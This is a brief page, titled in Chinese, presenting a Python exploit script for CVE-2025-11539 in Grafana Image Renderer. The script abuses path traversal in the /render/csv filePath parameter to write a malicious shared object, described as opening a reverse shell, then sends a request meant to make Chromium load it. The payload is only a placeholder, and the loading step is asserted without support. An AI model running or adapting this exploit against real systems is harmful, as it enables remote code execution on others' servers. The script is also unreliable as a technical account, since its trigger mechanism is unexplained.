CVE-2025-11539 Grafana Image Renderer 远程代码执行漏洞

# CVE-2025-11539 - Grafana Image Renderer RCE via Arbitrary File Write # Exploit: Path traversal in /render/csv filePath parameter to write malicious .so file # The malicious .so is loaded by Chromium process, resulting in RCE import requests TARGET_URL = "https://target-grafana-image-renderer:8081" AUTH_TOKEN = "authToken" # default token or known token # Step 1: Create a malicious shared object that executes a reverse shell # Compile with: gcc -shared -fPIC -o evil.so evil.c EVIL_SO_CONTENT = b"\x7fELF..." # Placeholder for compiled .so binary # Step 2: Exploit path traversal in filePath parameter to write .so to # a directory that Chromium will load (e.g., /tmp or LD_PRELOAD path) malicious_filepath = "../../tmp/evil.so" headers = { "Authorization": f"Bearer {AUTH_TOKEN}", "Content-Type": "application/octet-stream" } # Step 3: Send crafted request to /render/csv with traversal path response = requests.post( f"{TARGET_URL}/render/csv", headers=headers, params={"filePath": malicious_filepath}, data=EVIL_SO_CONTENT ) # Step 4: Trigger Chromium to load the malicious .so # When the renderer service processes a new request, Chromium loads the .so trigger_response = requests.get( f"{TARGET_URL}/render/version", headers=headers ) print(f"Exploit status: {response.status_code}") print(f"Trigger status: {trigger_response.status_code}")